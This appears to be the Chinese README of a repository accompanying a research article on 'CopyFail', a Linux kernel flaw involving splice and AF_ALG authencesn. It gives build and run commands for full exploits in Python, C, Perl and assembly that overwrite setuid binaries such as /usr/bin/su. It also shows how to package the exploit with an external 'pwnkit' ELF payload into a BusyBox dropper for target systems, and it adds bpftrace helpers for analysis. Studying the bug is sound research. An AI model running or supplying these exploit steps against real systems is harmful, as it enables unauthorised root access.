CopyFail 文章的工件和脚本。
深入分析文章:
proof-of-concept/ 包含文章中使用的仅原语演示。exploit-scripts/ 包含 Python、C、Perl 和 x86_64 汇编的完整漏洞利用实现。bpftrace-scripts/ 包含运行时分析中使用的小型跟踪辅助工具。只有 Perl、汇编和 BusyBox 的工件需要外部的替换 ELF。在下面的示例中,该文件名为 payload.pwnkit.elf,但任何文件名均可。
该负载不会在此仓库内生成。请先按照文章中的负载工作流程构建它,然后将生成的 ELF 放在与您要运行的工件相同的工作目录中。
原语 PoC 以及 Python/C 漏洞利用驱动程序可以直接运行。
这些 PoC 主要用于文章中的演示。它们单独展示了覆盖原语,而非完整的替换执行流程。
要运行 Python 演示,请进入 PoC 目录并执行脚本:
cd proof-of-concept
python3 copyfail_poc.py
要运行 C 演示,请先构建它,然后执行生成的二进制文件:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
Python 漏洞利用是自包含的,替换字节保存在脚本本身中。
进入漏洞利用目录并运行默认目标路径:
cd exploit-scripts
python3 exploit.py
如果您想要不同的目标基名,请将其作为第一个参数传递。要启用逐块覆盖日志,请设置 DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
C 漏洞利用也是自包含的。如果您想要部署不同的替换,请先编辑 exploit-scripts/exploit.c 中的 PAYLOAD_BYTES。
像这样构建静态(可选)二进制文件:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
然后运行默认目标,或传递不同的基名。通过 DEBUG=1 控制调试日志:
./exploit
./exploit su
DEBUG=1 ./exploit su
此版本读取外部的 ELF 负载,而不是在脚本中嵌入替换字节。
从漏洞利用目录运行。如果没有额外参数,它将使用默认目标和默认负载路径:
cd exploit-scripts
perl exploit.pl
如果您想同时指定受害路径和负载 ELF,请将它们作为参数传递。也通过 DEBUG=1 控制调试日志:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
此版本也使用外部的 ELF 负载。在下面的示例中,它被命名为 payload.pwnkit.elf,但您可以使用任何文件名。如果您重命名它,请更新 exploit-scripts/exploit.asm 中的 incbin 行以匹配。
使用 nasm 和 ld 构建汇编驱动程序:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
然后运行默认目标,或传递完整目标路径:
./exploit_asm
./exploit_asm /usr/bin/su
这将汇编驱动程序和外部负载 ELF 打包到一个 BusyBox 兼容的运行器中。下面的示例使用 payload.pwnkit.elf,但任何负载文件名均可,只要您向打包器传递相同的路径即可。
从漏洞利用目录生成投递器:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
在目标系统上,使用 BusyBox sh 运行生成的脚本:
busybox sh ./copyfail-busybox.sh /usr/bin/su
在运行跟踪辅助工具之前,请检查相关符号是否可用:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
要观察文件页面进入 splice 路径,请运行:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
要观察管道支持的数据到达 AF_ALG,请运行:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
要观察易受攻击的 authencesn 解密回调,请运行:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt